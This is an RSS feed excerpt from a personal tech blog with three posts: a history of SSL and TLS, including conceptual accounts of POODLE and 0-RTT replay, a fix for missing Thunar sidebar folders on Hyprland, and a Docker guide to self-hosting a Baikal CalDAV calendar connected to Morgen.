<p><a class="embed-card" href="https://www.youtube.com/watch?v=lfA4surFhCM">https://www.youtube.com/watch?v=lfA4surFhCM</a></p>
]]></content:encoded></item><item><title><![CDATA[SSL vs TLS: Key Differences, Historical Insights and Evolution]]></title><description><![CDATA[SSL (Secure Socket Layer) was developed by Netscape to encrypt web traffic. It introduced the core idea of secure web communication and became the foundation of HTTPS as we know it today.
TLS (Transport Layer Security) is the direct successor to SSL....]]></description><link>https://flarexes.com/ssl-vs-tls-key-differences-evolution-and-historical-insights</link><guid isPermaLink="true">https://flarexes.com/ssl-vs-tls-key-differences-evolution-and-historical-insights</guid><category><![CDATA[SSL]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[networking]]></category><category><![CDATA[TLS]]></category><category><![CDATA[Hashnode]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Thu, 01 Jan 2026 18:16:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/x66ubRvGXM8/upload/4b71daeb0c35533932ef1ce20e7cc32c.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>SSL (Secure Socket Layer)</strong> was developed by <strong>Netscape</strong> to encrypt web traffic. It introduced the core idea of secure web communication and became the foundation of <strong>HTTPS</strong> as we know it today.</p>
<p><strong>TLS (Transport Layer Security)</strong> is the direct successor to SSL. Yep! SSL was deprecated years ago, and TLS is simply its modern/upgraded version. That’s why people still use the terms SSL and TLS interchangeably, even though we only use TLS today.</p>
<p><strong>HTTPS</strong> was first introduced in 1994 by Netscape with SSL, years before it was formally standardized by the <strong>IETF</strong> in <a target="_blank" href="http://www.rfc-editor.org/rfc/rfc2818"><strong>RFC 2818</strong></a> <strong>(2000)</strong>. We’ll explore these interesting facts in detail as we progress in the blog post.</p>
<p>By the way, if you want to go deeper into HTTP how it really works, the lesser-known facts, how it evolved, and how attackers exploit it I recommend reading these posts:</p>
<ul>
<li><p><a target="_blank" href="https://flarexes.com/a-comprehensive-guide-to-the-webs-core-protocol-http-for-hacker-developers">A Comprehensive Guide to the Web's Core Protocol, HTTP for Hacker &amp; Developers</a></p>
</li>
<li><p><a target="_blank" href="https://flarexes.com/why-does-session-hijacking-exist-how-it-works-cookies-vs-http-headers">Why Does Session Hijacking Exist &amp; How it Works? - Cookies vs. HTTP Headers</a></p>
</li>
</ul>
<h2 id="heading-netscape-a-story-worth-knowing">Netscape: A Story Worth Knowing</h2>
<p><a target="_blank" href="https://en.wikipedia.org/wiki/Netscape">Netscape</a> itself is a story worth knowing. Founded in 1994 as Netscape Communications Corporation, has arguably contributed more to the early web than any other organization of its time.</p>
<p>They didn’t just build software. They defined the web:</p>
<ul>
<li><p>The first dominant web browser, <a target="_blank" href="https://en.wikipedia.org/wiki/Netscape_Navigator"><strong>Netscape Navigator</strong></a></p>
</li>
<li><p><strong>JavaScript</strong>, created in days but changed the internet forever</p>
</li>
<li><p><strong>HTTP cookies</strong>, which still power authentication and sessions today</p>
</li>
<li><p><strong>SSL</strong>, which laid the groundwork for <strong>HTTPS</strong></p>
</li>
</ul>
<p>But then, why have we never heard of Netscape?</p>
<h3 id="heading-netscape-downfall">Netscape Downfall</h3>
<p>Despite their technical leadership, Netscape declined rapidly. They lost in distribution.</p>
<p>Microsoft bundled <strong>Internet Explorer</strong> directly into <strong>Microsoft Windows</strong>, using operating system dominance to crush browser competition.</p>
<p>That single move reshaped the web, killed Netscape as a company, and triggered one of the most famous antitrust battles in tech history.</p>
<p>Irony:<br />Netscape died, but <strong>almost everything they created still runs the modern web</strong>.</p>
<p>If Netscape hadn’t existed, the internet you use today would look very different.</p>
<h2 id="heading-the-evolution-of-ssl">The Evolution of SSL</h2>
<p>Netscape introduced SSL in 1994 as a way to secure HTTP traffic on the early web.</p>
<p>SSL evolved rapidly in its early years:</p>
<ul>
<li><p><strong>SSL 1.0</strong> – 1994</p>
</li>
<li><p><strong>SSL 2.0</strong> – 1995</p>
</li>
<li><p><strong>SSL 3.0</strong> – 1996</p>
</li>
</ul>
<p>SSL was initially kept <strong>proprietary</strong> to give <strong>Netscape</strong> a competitive advantage in the browser market.</p>
<h3 id="heading-ssl-10-the-unreleased-prototype">SSL 1.0: The Unreleased Prototype</h3>
<p><strong>SSL 1.0 was never publicly released.</strong> It existed only as an internal prototype at Netscape.</p>
<p>Because SSL 1.0 never shipped, we do not know its exact flaws. What we have today is informed speculation based on later protocol analysis and the state of cryptography at the time.</p>
<p>Most analyses suggest that SSL 1.0 suffered from fundamental design issues that made it unsuitable for real-world deployment, including:</p>
<ul>
<li><p>Weak authenticated handshake</p>
</li>
<li><p>Poor message integrity guarantees</p>
</li>
<li><p>No standardized constructions such as <strong>HMAC</strong>, which did not yet exist</p>
</li>
<li><p>The absence of a mature, widely deployed <strong>web PKI</strong></p>
</li>
<li><p>Limited understanding of secure protocol composition at the time</p>
</li>
</ul>
<p>On top of that, <a target="_blank" href="https://en.wikipedia.org/wiki/Export_of_cryptography_from_the_United_States"><strong>US cryptography export restrictions</strong></a> heavily influenced early SSL design. These regulations forced the use of weak key sizes, added unnecessary complexity, and increased the overall risk of subtle security failures.</p>
<h3 id="heading-ssl-20-public-debut-and-limitations">SSL 2.0: Public Debut and Limitations</h3>
<p><strong>SSL 2.0</strong> <strong>was the first version of SSL</strong> <strong>deployed on the public internet</strong>. This version introduced the idea of a cryptographic handshake before any application data is sent, meaning the client and server agree on encryption parameters first, then use those negotiated keys to protect traffic.</p>
<p>SSL 2.0 supported multiple cipher suites (like RC4-MD5, DES-CBC-MD5, etc.) and RSA as the only key exchange protocol.</p>
<p>At a high level, SSL 2.0 introduced the core ideas that still exist in modern TLS:</p>
<ul>
<li><p>A handshake phase that precedes encrypted communication</p>
</li>
<li><p>Negotiation of cryptographic algorithms via cipher suites</p>
</li>
<li><p>Use of X.509 certificates to distribute the server’s public key</p>
</li>
<li><p>Derivation of a shared session key used to encrypt application data</p>
</li>
</ul>
<h4 id="heading-what-ssl-20-lacked"><strong>What SSL 2.0 Lacked?</strong></h4>
<p>Despite being the first SSL version deployed in the real world, SSL 2.0 was fundamentally flawed by design.</p>
<ol>
<li><p>One major weakness was its reliance on <strong>MD5</strong> for message integrity. In 1996, MD5 was publicly flagged as vulnerable to collision attacks. That alone made SSL 2.0 fragile.</p>
</li>
<li><p>More critically, SSL 2.0 did not cryptographically bind all handshake messages to the session key. This allowed attackers to modify handshake parameters or force protocol and cipher downgrades without detection. This class of attacks became one of SSL 2.0’s most serious structural failures and was explicitly fixed in SSL 3.0.</p>
</li>
</ol>
<p>In 2011, SSL 2.0 was officially deprecated. That same year, <a target="_blank" href="https://www.rfc-editor.org/rfc/rfc6176.html">RFC 6176</a>, published by the <strong>IEFT (Internet Engineering Task Force)</strong>, formally prohibited the use of SSL 2.0 due to its well-documented security deficiencies.</p>
<h3 id="heading-ssl-30-improvements-and-challenges">SSL 3.0: Improvements and Challenges</h3>
<p>SSL 3.0 became the widely adopted standard for secure web communication and fixed the most serious design flaws of SSL 2.0.</p>
<p>Its most important improvement was cryptographic binding of handshake messages. Both client and server could verify that negotiation parameters were not altered in transit, eliminating entire classes of downgrade and man-in-the-middle attacks that plagued earlier versions.</p>
<h4 id="heading-enhancements-in-security">Enhancements in Security</h4>
<p>SSL 3.0 first performed a handshake to authenticate the server using <strong>X.509 certificates</strong> and negotiate cryptographic parameters. After key exchange, all application data was protected using:</p>
<ul>
<li><p><strong>Symmetric encryption</strong> for confidentiality</p>
</li>
<li><p>A <strong>MAC</strong> for message integrity</p>
</li>
</ul>
<p>Each record included sequence numbers and protocol metadata, preventing silent modification, replay, and truncation attacks that were possible in SSL 2.0.</p>
<h4 id="heading-the-poodle-attack-and-its-impact">The POODLE Attack and Its Impact</h4>
<p><strong>POODLE</strong> Happened. Stands for Padding Oracle On Downgraded Legacy Encryption.</p>
<p>Modern browsers supported TLS, but for backward compatibility they would <strong>fallback to SSL 3.0</strong> if the handshake failed.</p>
<p>This attack against SSL 3.0 was disclosed in 2014. POODLE exploited a fundamental weakness in SSL 3.0’s <strong>CBC padding scheme</strong>, allowing attackers, under specific conditions, to recover sensitive data such as authentication cookies.</p>
<p>It looked something like this 👇</p>
<p>SSL 3.0 uses CBC mode encryption with weak padding validation.<br />An attacker who can sit between the client and server can:</p>
<ol>
<li><p><strong>Force a downgrade</strong> from TLS to SSL 3.0</p>
</li>
<li><p><strong>Manipulate encrypted traffic block by block</strong></p>
</li>
<li><p><strong>Use padding errors as an oracle</strong></p>
</li>
<li><p><strong>Recover sensitive data</strong>, typically HTTPS cookies</p>
</li>
</ol>
<p>One byte at a time. Slowly. But reliably.</p>
<h2 id="heading-transition-to-tls">Transition to TLS</h2>
<p>In 1998, <strong>AOL</strong> acquired <strong>Netscape Communications</strong> for about <strong>$4.2 billion</strong>. By then, it was clear that Netscape was losing the browser war to <strong>Microsoft</strong>.</p>
<p>At the same time, the internet was rapidly becoming a platform for <strong>online payments, authentication, and sensitive data exchange</strong>. A proprietary, vendor-controlled security protocol was not viable for something this fundamental.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><a target="_self" href="https://flarexes.com/cryptography-101-a-developers-guide-to-secure-coding#heading-best-practices-to-follow-in-cryptography"><em>Check out my blog explaining why security protocols must be open to earn trust.</em></a></div>
</div>

<h3 id="heading-tls-10-building-on-ssl-30">TLS 1.0: Building on SSL 3.0</h3>
<p>As a result, Netscape made the strategic decision to <strong>open SSL to public and transfer its responsibility to the IEFT (Internet Engineering Task Force).</strong> This ensured the protocol could evolve as a <strong>vendor-neutral, openly reviewed internet standard</strong>. Under the IETF, SSL 3.0 was refined and standardized as TLS 1.0, published in 1999, marking the transition from a company-controlled protocol to core internet infrastructure.</p>
<p>At its core, TLS 1.0 was essentially SSL 3.1, introducing only incremental changes rather than a complete redesign. Once SSL transitioned into an open, public standard for securing the web, it was published by the <strong>IEFT</strong> as <a target="_blank" href="https://www.ietf.org/rfc/rfc2246.txt">RFC 2246</a>.</p>
<p>I believe the IETF’s first major move, renaming the protocol, was the right decision. Transport Layer Security is a far better acronym than Secure Sockets Layer. It also helped avoid potential legal and branding issues tied to Netscape’s ownership of SSL. That said, this is just my personal take.</p>
<p>IETF did some cryptographic cleanup, such as:</p>
<ul>
<li><p>TLS 1.0 replaced SSL 3.0’s custom MAC construction with <strong>HMAC,</strong> which was already a standard.</p>
</li>
<li><p>The PRF was redesigned to combine <strong>MD5 and SHA-1</strong>, avoiding reliance on a single hash.</p>
</li>
<li><p>SSL 3.0 unsafe behaviors, such as silent fallback to weaker parameters, were discouraged.</p>
</li>
<li><p>Extensions were introduced via <a target="_blank" href="https://www.rfc-editor.org/rfc/rfc3546">RFC 3546</a>, which became the backbone of every modern TLS feature.</p>
</li>
<li><p>TLS 1.0 also improved upon certificate handling and alert semantics. To reduce implementation bugs and interoperability failures, which were common in SSL deployments.</p>
</li>
</ul>
<p>TLS 1.0 was officially deprecated by the <strong>IEFT</strong> in <a target="_blank" href="https://www.rfc-editor.org/rfc/rfc8996">RFC 8996</a> (2021). Attacks such as <strong>BEAST</strong> exposed weaknesses in CBC-mode encryption. While mitigations existed but TLS 1.0 still depended on <strong>SHA-1 and MD5</strong>, which became unacceptable as those algorithms weakened over time. As security standards evolved, compliance frameworks like <strong>PCI DSS</strong> began prohibiting TLS 1.0 because it no longer met modern security expectations.</p>
<h3 id="heading-tls-11-addressing-known-issues">TLS 1.1: Addressing Known Issues</h3>
<p>TLS 1.1 was published in 2006 as <a target="_blank" href="https://www.rfc-editor.org/rfc/rfc4346">RFC 4346</a>. To mainly fix the known flaws in TLS 1.0, especially <strong>CBC IV handling</strong>.</p>
<p>In TLS 1.0, the IV for a record depended on the previous record, which opened the door to several practical cryptographic attacks. TLS 1.1 fixed this by introducing a fresh, random IV per record, a meaningful improvement for CBC-based ciphers.</p>
<p>TLS 1.1 also improved error handling and alert behavior. It reduced ambiguity by providing more precise specifications for these behaviors.</p>
<p>It's believed that version 1.1 arrived too late and changed too little to stay relevant, leading to its eventual deprecation. I'm not sure about this because I still see a few websites using it, even Google. However, we can certainly argue about the numbers comparatively.</p>
<p><strong><em>TLS 1.1 gave an important lesson: incremental fixes could not indefinitely patch an aging cryptographic design. It directly reflected in the decision to redesign key aspects of TLS in version 1.2 and radically simplify the protocol in TLS 1.3.</em></strong></p>
<h4 id="heading-lessons-learned-and-deprecation">Lessons Learned and Deprecation</h4>
<p>Despite these improvements, TLS 1.1 still used some older cryptographic methods, like MD5 and SHA-1, in certain setups. Just like TLS 1.0, it didn't require <strong>forward secrecy</strong>, and many real-world setups kept using static RSA key exchange.</p>
<p>Isn't it fascinating how TLS 1.1 continued to use complex cipher suite negotiation and CBC-based encryption as standard? This made the protocol fragile and tricky to implement securely. This complexity led to its deprecation by the IETF in <a target="_blank" href="https://www.rfc-editor.org/rfc/rfc8996">RFC 8996</a> in 2021.</p>
<h3 id="heading-tls-12-a-major-cryptographic-upgrade">TLS 1.2: A Major Cryptographic Upgrade</h3>
<p>Just after two years from TLS 1.1 release, TLS 1.2 was published in 2008 as <a target="_blank" href="https://www.rfc-editor.org/rfc/rfc5246">RFC 5246</a>, of course by IETF.</p>
<p>Unlike TLS 1.1, TLS 1.2 was not a small patch. It was a substantial cryptographic upgrade designed to fix long-standing weaknesses in earlier TLS versions while keeping the same overall protocol structure. So, it was like <strong>SSLv3.3</strong>.</p>
<p>The most important change in TLS 1.2 was <strong>algorithm agility</strong>. TLS 1.2 decoupled the protocol from fixed hash functions, allowing the use of stronger hashes such as <strong>SHA-256 (today’s standard) and SHA-384</strong> instead of MD5 and SHA-1.</p>
<p>TLS 1.2 also introduced support for <strong>AEAD cipher suites</strong> (such as AES-GCM). AEAD (Authenticated Encryption with Associated Data) cipher suites provide both confidentiality and authenticity for data, ensuring that the encrypted message cannot be tampered with. This destroyed the complexity and fragility of CBC-based encryption used in earlier versions. Hurry!!! because we stuck to it in TLS 1.3.</p>
<p>Another major improvement was <strong>explicit signature algorithm negotiation</strong>. Clients and servers could now agree on which signature algorithms to use, instead of relying on implicit or hard-coded choices.</p>
<p>TLS 1.2 also made forward secrecy practical. While not mandatory, the widespread use of ephemeral Diffie-Hellman (DHE and ECDHE) became common with TLS 1.2.</p>
<h4 id="heading-why-we-moved-to-tls-13">Why we moved to TLS 1.3?</h4>
<p>TLS 1.2 is still not depcreted and widely adopted protocol. Remember, I mention previous that we can’t stick to incremental fixes we need to move on from TLS backwared compatbility.</p>
<p>Such as: TLS 1.2 still allowed legacy and weak cipher suites for backward compatibility.</p>
<p>TLS 1.2 itself is not fundamentally broken. Most attacks associated with TLS 1.2 targeted bad configurations, weak ciphers, or older modes of operation rather than the core protocol.</p>
<p>However, to mitigate downgrade attacks extensions like <strong>TLS_FALLBACK_SCSV</strong> were introduced, which mitigated forced downgrade attempts.</p>
<p>Finally, a key historical fact is that <strong>TLS 1.2 became the dominant secure transport protocol on the internet for over a decade</strong>. It powered HTTPS, APIs, VPNs, email transport, and enterprise systems worldwide.</p>
<p>Even today, TLS 1.2 remains widely deployed, though it is increasingly being replaced by TLS 1.3.</p>
<h3 id="heading-tls-13-a-new-era-of-security">TLS 1.3: A New Era of Security</h3>
<p>Almost after 10 years, TLS 1.3 was published in 2018 as <a target="_blank" href="https://www.rfc-editor.org/rfc/rfc8446">RFC 8446</a> by the Internet Engineering Task Force.</p>
<p>This was big leap from previous SSL and TLS versions. Stright up, TLS 1.3 intentionally removed legacy features rather than trying to make them safe. It was not an incremental update. It was a ground-up simplification and hardening of the TLS protocol, designed after two decades of operational experience and real-world attacks.</p>
<h4 id="heading-what-tls-13-introduced">What TLS 1.3 introduced?</h4>
<ul>
<li><p>TLS 1.3 is a dramatically simplified handshake. A full handshake now completes in <strong>one round trip (1-RTT)</strong> instead of two.</p>
</li>
<li><p>TLS 1.3 <strong>mandates forward secrecy.</strong> All key exchanges must use ephemeral Diffie-Hellman (DHE or ECDHE). Static RSA key exchange was completely removed.</p>
</li>
<li><p>TLS 1.3 encrypts certificates and most negotiation metadata, reducing information leakage and making traffic analysis harder. In earlier TLS versions, handshake messages were sent in plaintext.</p>
</li>
<li><p>TLS 1.3 also removed <strong>cipher suite complexity</strong>. Only <strong>AEAD ciphers</strong> (such as AES-GCM and ChaCha20-Poly1305) are allowed. CBC mode, RC4, and legacy constructions were removed entirely.</p>
</li>
</ul>
<p>With mandatory forward secrecy, encrypted handshakes, and strong integrity protection, TLS 1.3 provides confidentiality, integrity, authentication, and resistance to downgrade attacks by design. As a fact, TLS 1.3, because the most secure implementation of TLS till this date.</p>
<p><strong>TLS 1.3 has no known protocol-level break as of today.</strong></p>
<h4 id="heading-except-0-rtt">Except: 0-RTT</h4>
<p>0-RTT (Zero Round-Trip Time) was introduced in TLS 1.3 to reduce latency on resumed connections.</p>
<p>0-RTT data is encrypted using resumption keys, not fresh handshake keys. The same encrypted 0-RTT payload can be captured and replayed by an attacker.</p>
<p>The server has no cryptographic proof that:</p>
<ul>
<li><p>This is the first time it sees the data</p>
</li>
<li><p>The client is not reusing the same ticket elsewhere</p>
</li>
</ul>
<p><strong>So, TLS 1.3 made this deliberate tradeoff <em>optional</em>.</strong></p>
<p>That is why the RFC explicitly warns you to only use 0-RTT for <strong>Idempotent Operations</strong>.</p>
<p>Safe examples:</p>
<ul>
<li><p><code>GET /index.html</code></p>
</li>
<li><p><code>GET /api/status</code></p>
</li>
<li><p>Cache warmups</p>
</li>
<li><p>Telemetry reads</p>
</li>
</ul>
<p>Dangerous examples:</p>
<ul>
<li><p><code>POST /transfer $100</code></p>
</li>
<li><p><code>DELETE /user/42</code></p>
</li>
<li><p><code>POST /login</code></p>
</li>
<li><p>Any action with side effects</p>
</li>
</ul>
<h4 id="heading-adoption-and-impact">Adoption and impact</h4>
<p>A key fact is that TLS 1.3 was rapidly adopted by major browsers, CDNs, and cloud providers. Today, it protects a significant portion of HTTPS traffic on the internet.</p>
<p>TLS 1.3 did not replace TLS 1.2 because 1.2 was broken. It replaced it because simpler, safer, and faster was finally achievable.</p>
<h2 id="heading-finally-thoughts">Finally Thoughts</h2>
<p>Thank you for reading and following this series. I tried my best to turn SSL and TLS into a story rather than a technical spec, so it’s easier to digest and hopefully enjoyable.</p>
<p>The internet we use today exists because of many people and institutions. Some did their job and stepped aside (thanks to Netscape Communications Corporation). Others are still quietly doing the hard work of keeping the internet secure (thanks to Internet Engineering Task Force).</p>
<p>If this helped you understand even a small part of how secure communication evolved, then it did what it was meant to do.</p>
<p>I Hope, You Have a Really Nice Day 👋</p>
]]></content:encoded></item><item><title><![CDATA[Fix Missing Directories & External Drives in Thunar File Manager on Hyprland]]></title><description><![CDATA[If you're running Hyprland (or another minimal window manager) and notice that your file manage like Thunar doesn't show your usual Documents, Downloads, Pictures, or external drives in the sidebar - ]]></description><link>https://flarexes.com/fix-missing-directories-and-external-drives-in-thunar-file-manager-on-hyprland</link><guid isPermaLink="true">https://flarexes.com/fix-missing-directories-and-external-drives-in-thunar-file-manager-on-hyprland</guid><category><![CDATA[Linux]]></category><category><![CDATA[hyprland]]></category><category><![CDATA[technology]]></category><category><![CDATA[software development]]></category><category><![CDATA[Hashnode]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Sat, 16 Aug 2025 16:27:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/rFnKnVz6XmQ/upload/74616ca77af3624e4c31dc83e755135a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you're running <strong>Hyprland</strong> (or another minimal window manager) and notice that your file manage like <strong>Thunar</strong> doesn't show your usual <em>Documents, Downloads, Pictures,</em> or external drives in the sidebar - That's because you are simply missing a couple of packages that a full desktop environment (like GNOME) would normally install by default.</p>
<h2>Quick Fix</h2>
<p>Just install the following:</p>
<pre><code class="language-bash">sudo pacman -S gvfs xdg-user-dirs
</code></pre>
<ul>
<li><p><strong>gvfs</strong>: Lets you do things like move files to the trash, access network shares, and mount USB drives easily in your file manager. In most cases, this alone solves the issue.</p>
</li>
<li><p><strong>xdg-user-dirs</strong>: Creates standard folders like "Documents", "Downloads", "Pictures", etc., in your home directory, according to the XDG (<a href="http://Freedesktop.org">Freedesktop.org</a>) specifications.</p>
</li>
</ul>
<h2>How I Debugged It</h2>
<p>When I first switched to Hyprland, I hit this problem. Searching online didn’t help, so I tried installing <strong>Nautilus</strong> (GNOME’s file manager) just to test.</p>
<p>To my surprise, not only did Nautilus work - it also fixed Thunar. That was the clue.</p>
<p>To dig deeper I checked Nautilus' dependencies:</p>
<pre><code class="language-plaintext">❯ pacman -Si nautilus                                                                                                             20:35 
Repository      : extra
Name            : nautilus
...

Depends On      : ...  gvfs  ...  xdg-user-dirs-gtk  ...

...
Download Size   : 2.39 MiB
Installed Size  : 13.59 MiB
Validated By    : SHA-256 Sum  Signature
</code></pre>
<p>With the help AI explanation on dependencies, among the many packages, two stood out. That's what <strong>Nautilus</strong> was pulling <code>gvfs</code> and <code>xdg-user-dirs</code>, which <strong>Thunar</strong> quietly relies on but doesn't require by default.</p>
<h2>Takeaway</h2>
<p>If you’re using Thunar in Hyprland (or any barebones WM) and the sidebar looks empty:</p>
<ol>
<li><p>Install <code>gvfs</code> (and optionally <code>xdg-user-dirs</code>).</p>
</li>
<li><p>Restart Thunar.</p>
</li>
<li><p>Enjoy your standard folders and USB drives showing up again.</p>
</li>
</ol>
<p>Hopefully this saves you from the same rabbit hole I went down. Minimal WMs are powerful, but they don’t hold your hand — sometimes you need to add the missing plumbing yourself.</p>
<p><strong>I'm grateful you took the time to read what I've shared. Until next time —</strong> <a href="https://www.linkedin.com/in/flarexes/"><strong>FlareXes</strong></a></p>
<h3><strong>Further Reading</strong></h3>
<p>If you’re exploring Hyprland further, you might also enjoy my <a href="https://flarexes.com/hyprland-getting-started-configure-screen-lock-brightness-volume-authentication-and-more">step-by-step guide on configuring essentials like screen lock, brightness, and authentication</a>.</p>
]]></content:encoded></item><item><title><![CDATA[Self-Host Your Own Calendar with Baikal and Morgen]]></title><description><![CDATA[Privacy and security are often overlooked when choosing productivity tools, even though these platforms holds some of your most sensitive information. For instance, A calendar application can reveal d]]></description><link>https://flarexes.com/self-host-your-own-calendar-with-baikal-and-morgen</link><guid isPermaLink="true">https://flarexes.com/self-host-your-own-calendar-with-baikal-and-morgen</guid><category><![CDATA[Productivity]]></category><category><![CDATA[privacy]]></category><category><![CDATA[Security]]></category><category><![CDATA[Docker]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Tue, 04 Mar 2025 00:59:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Z_e8CTGUd2o/upload/16f03059d336c97e8da272c8feaf3e10.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Privacy and security are often overlooked when choosing productivity tools, even though these platforms holds some of your most sensitive information. For instance, A calendar application can reveal details about your daily routine, appointments, travel plans, confidential internal projects and some events attached with critical information as notes.</p>
<p>If you want complete ownership of your data to safeguard personal information or business secrets, self-hosting a calendar application is a good solution.</p>
<p>To get started with self-hosting a CalDAV server, you'll need Baikal (a lightweight CalDAV server) and Docker to run it locally. You can find Docker installation instructions on the official <a href="https://docs.docker.com/engine/install">Docker documentation</a> and explore <a href="https://docs.docker.com/desktop">Docker Desktop</a> for a user-friendly GUI option.</p>
<h2>What is CalDAV?</h2>
<p><strong>CalDAV</strong> is a standardized protocol to manage and synchronize calendar events across multiple devices. CalDAV works as a client-server architecture between a calendar client (like Morgen, Thunderbird, or Apple Calendar) and a calendar server (like Baikal). The server stores calendar data, while the client syncs with the server to fetch updates and manage appointments. When you add, delete, or update events on a CalDAV-compatible client like Morgen, these changes are sent to the server and reflected across all synced devices.</p>
<p>We'll use Baikal, a lightweight open-source CalDAV and CardDAV server. However, if you or your organization already self-host services like Nextcloud or ownCloud, check whether they have built-in CalDAV support. These platforms often include this feature, eliminating the need for an extra service like Baikal.</p>
<h2>Setting Up a CalDAV Server</h2>
<p>Setting up a CalDAV server might sound complicated, but trust me it's easier than you think, especially for personal use cases where you can run it locally using Docker. But first, double-check that Docker is installed on your system.</p>
<p>We'll use the lightweight Nginx variant instead of Apache since it's less than half the size. Lean and efficient, just how we like it.</p>
<h4>Start Baikal</h4>
<pre><code class="language-bash">docker run --rm -it -p 80:80 ckulka/baikal:nginx
</code></pre>
<p>To quickly test Baikal, run this Docker command. However, for a more structured and scalable setup (especially if you want better CI/CD practices), we recommend using <code>docker-compose.yml</code>.</p>
<h3>Step-by-Step Guide to Setup Baikal</h3>
<p><strong>Step 1:</strong> Create a directory to hold your Baïkal configurations, and it's a good idea to back it up if you ever move infrastructure.</p>
<pre><code class="language-bash">sudo mkdir /opt/baikal &amp;&amp; sudo chown \(USER:\)USER /opt/baikal
</code></pre>
<p>This command creates a directory under <code>/opt/baikal</code> and changes ownership to your current user to avoid needing <code>sudo</code> later.</p>
<p><strong>Step 2:</strong> Create a <em>docker-compose.yml</em> file under <code>/opt/baikal</code>.</p>
<pre><code class="language-yml">services:
  baikal:
    image: ckulka/baikal:nginx
    restart: always # restart on reboot to avoid down time
    ports:
      - 80:80       # expose baikal on localhost port 80
    volumes:
      - /opt/baikal/config:/var/www/baikal/config         # store baikal configrations
      - /opt/baikal/Specific:/var/www/baikal/Specific     # store baikal configrations
</code></pre>
<p><strong>Step 3:</strong> Once you start Baikal. Visit <a href="http://127.0.0.1"><code>http://127.0.0.1</code></a> in your browser. You’ll be greeted by a setup page where you can select your time zone and create an admin account.</p>
<pre><code class="language-bash">cd /opt/baikal &amp;&amp; docker compose up -d
</code></pre>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741048567045/18db1bd7-9864-43ab-a9b5-8c47ba59776d.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Step 4:</strong> Choose a Database. Baikal supports SQLite, MySQL, and PostgreSQL. For most personal or small-scale use cases, SQLite works perfectly. Select it, save, and continue.</p>
<p><strong>Step 5:</strong> Use your admin credentials to access the main dashboard. From here, you can tweak any configuration settings we made so far.</p>
<p><strong>Step 6:</strong> To start using calendar you need an user and it can't be the admin account be just created. Head to the <em>"Users and Resources"</em> section to set up your first user. No need for an actual email address.</p>
<p><strong>Step 7:</strong> After creating a user click on <em>Calendars</em>. You can create multiple calendars per user, similar to Google Calendar. By default a calendar is automatically created named as <em>"Default Calendar"</em>.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741048578696/e0daee35-d121-4d8b-82c8-baa9fc661e50.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Step 8:</strong> Click <em>Edit</em>, enable <em>Notes</em>, and copy the CalDAV URI by clicking the info (<code>i</code>) button. Be sure to only copy path up to <code>/dav.php</code> to avoid permission issues (e.g., <a href="http://127.0.0.1/dav.php"><code>http://127.0.0.1/dav.php</code></a>).</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741048592036/44e26baa-6761-4bd9-b9ed-db6b05fcf7cf.png" alt="" style="display:block;margin:0 auto" />

<p>That's it! just use new user credentials and URI to integrate with your Morgen calendar.</p>
<p>Though steps are fairly easy to follow and similar to most self-hosting process. However, if you feel stuck, I've included a step-by-step YouTube video below for your convenience.</p>
<h2>Integrate Baikal with Morgen Calendar</h2>
<p>Connecting Baikal to Morgen via CalDAV is quick and easy. Depending on your Morgen configuration, follow the appropriate path. Once you hit the CalDAV option, just enter your username, password, and Baikal server URL.</p>
<ul>
<li><p><strong>First Time Adding a Calendar:</strong> Go to Settings &gt; Profile &gt; Calendars &gt; Add an account &gt; Other (CalDAV).</p>
</li>
<li><p><strong>Premium Users (Adding Another Calendar):</strong> Try Settings &gt; Profile &gt; Calendars &gt; Add account &gt; Calendar accounts &gt; Other (CalDAV).</p>
</li>
<li><p><strong>Alternate Method:</strong> Settings &gt; Profile &gt; External accounts &gt; Add account &gt; Connect a calendar account &gt; Other (CalDAV).</p>
</li>
</ul>
<p><strong>Pro Tip:</strong> Morgen supports all major calendar providers. But if your preferred provider isn't listed, check whether it offers CalDAV support. If so, you can still seamlessly integrate it with Morgen using the same steps.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741048595228/430d51c2-4aaf-4e0c-a3ed-a70d84ac0572.gif" alt="" style="display:block;margin:0 auto" />

<h3><strong>Morgen Protects Your Privacy?</strong></h3>
<p>While Morgen is not end-to-end encrypted, I still choose to use it because it’s available on all three major operating systems, and it’s a fantastic product. With its simple UI/UX and seamless integration with to-do lists, it offers a smooth user experience.</p>
<p>According to Morgen’s Privacy Policy, they don't sell your data or share it with third parties. Any collected information is securely stored and processed on cloud infrastructure that complies with GDPR regulations. Their data centers are located in Switzerland and the European Union, both regions are known for their strict data protection laws.</p>
<p>It's important to note that Morgen is solely a calendar client. Your events remain stored on the servers of your selected calendar provider (such as Google or Outlook) and are subject to their privacy policies.</p>
<p>To address this concern, Morgen offers CalDAV integration, giving you the ability to self-host your calendar and maintain full control over your schedule and organizational data. This way, your life's routines and personal information stay truly yours.</p>
<p><a class="embed-card" href="https://www.youtube.com/watch?v=8TXingj9aRY">https://www.youtube.com/watch?v=8TXingj9aRY</a></p>

<h2>What's Next?</h2>
<ul>
<li><p>Enable HTTPS to encrypt data exchanges</p>
<ul>
<li>Route Baikal traffic through a reverse proxy like Traefik or Caddy.</li>
</ul>
</li>
<li><p>Set up regular backups to S3 or another cloud storage service.</p>
</li>
<li><p>Add an SMTP server to send and receive emails, ideal for organizational use.</p>
</li>
<li><p>Check out the <a href="https://github.com/ckulka/baikal-docker">Baikal Docker repository</a> for more advanced configuration options and resources.</p>
</li>
</ul>
